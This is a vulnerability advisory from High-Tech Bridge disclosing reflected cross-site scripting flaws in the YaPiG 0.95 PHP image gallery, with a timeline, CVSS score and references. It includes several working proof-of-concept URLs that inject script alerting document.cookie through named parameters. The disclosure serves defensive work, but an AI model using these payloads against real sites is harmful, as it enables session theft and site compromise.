Cross-site Scripting (XSS) Vulnerabilities in YaPiG

This vulnerability was discovered by our security researchers before 2019.

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Advisory ID:	HTB22962
Product:	YaPiG (Yet Another PHP Image Gallery)
Vendor:	http://yapig.sourceforge.net/
Vulnerable Versions:	0.95 and probably prior
Tested Version:	0.95
Advisory Publication:	April 19, 2011 [without technical details]
Vendor Notification:	April 19, 2011
Public Disclosure:	May 3, 2011
Vulnerability Type:	Cross-Site Scripting [CWE-79]
Risk Level:	Medium

CVSSv2 Base Score:	4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Discovered and Provided:	High-Tech Bridge Security Research Lab
Advisory Details:
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in YaPiG which could be exploited to perform cross-site scripting attacks. 1) Cross-site scripting (XSS) vulnerabilities in YaPiG 1.1 The vulnerability exists due to input sanitation errors in multiple scripts inside the template/default/ directory. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Exploitation examples: http://[host]/template/default/add_comment_form.php?I_ADD_COMMENT=%3Cscript% 3Ealert%28document.cooki e%29;%3C/script%3E http://[host]/template/default/admin_task_bar.php?I_ADMI N_TASKS=%3Cscript%3Ealer t%28document.cookie%29;%3C/script%3E http://[host]/template/default/delete_ gallery_form.php?I_SELEC T_OPT=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://[host]/te mplate/default/face_begi n.php?I_TITLE=%3C/title%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script% 3E 1.2 The vulnerability exists due to input sanitation error in the "interval" parameter in slideshow.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Exploitation example: http://[host]/slideshow.php?interval=%22%3E%3Cscript%3Ealert%28document.cook ie%29;%3C/script%3E
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Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.

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References:
[1] High-Tech Bridge Advisory HTB22962 - https://www.immuniweb.com/advisory/HTB22962 - Cross-site Scripting (XSS) Vulnerabilities in YaPiG [2] YaPiG - yapig.sourceforge.net - Yapig is a simple but powerful image gallery written in php. [3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Previous Security Advisories with CWE-79:

HTB22961: Cross-site Scripting (XSS) Vulnerability in WP Photo Album

HTB22958: Multiple Vulnerabilities in phpGraphy

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